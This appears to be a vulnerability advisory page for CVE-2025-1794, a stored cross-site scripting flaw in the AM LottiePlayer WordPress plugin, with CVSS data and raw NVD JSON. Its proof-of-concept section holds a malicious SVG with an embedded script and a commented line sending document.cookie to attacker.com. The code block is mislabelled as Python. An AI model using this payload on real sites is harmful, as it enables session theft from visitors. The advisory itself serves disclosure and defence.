Security Vulnerability Report
中文
CVE-2025-1794 CVSS 5.4 MEDIUM

CVE-2025-1794

Published: 2026-04-08 07:16:20
Last Modified: 2026-04-27 19:04:23

Description

The AM LottiePlayer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via uploaded SVG files in all versions up to, and including, 3.6.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

AM LottiePlayer <= 3.6.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Malicious SVG PoC for CVE-2025-1794 --> <!-- Save as exploit.svg and upload via plugin --> <svg xmlns="http://www.w3.org/2000/svg"> <text x="0" y="15" fill="red">XSS Test</text> <script> // Execution of arbitrary JavaScript alert('CVE-2025-1794 Exploited'); // Example: Exfiltrate cookies // fetch('https://attacker.com/steal?c=' + document.cookie); </script> </svg>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-1794", "sourceIdentifier": "[email protected]", "published": "2026-04-08T07:16:19.643", "lastModified": "2026-04-27T19:04:22.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The AM LottiePlayer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via uploaded SVG files in all versions up to, and including, 3.6.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/am-lottieplayer/tags/3.5.0/includes/upload-thumbnail.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ef2f1ad1-1e2e-4b56-b16c-d87956b142ad?source=cve", "source": "[email protected]"}]}}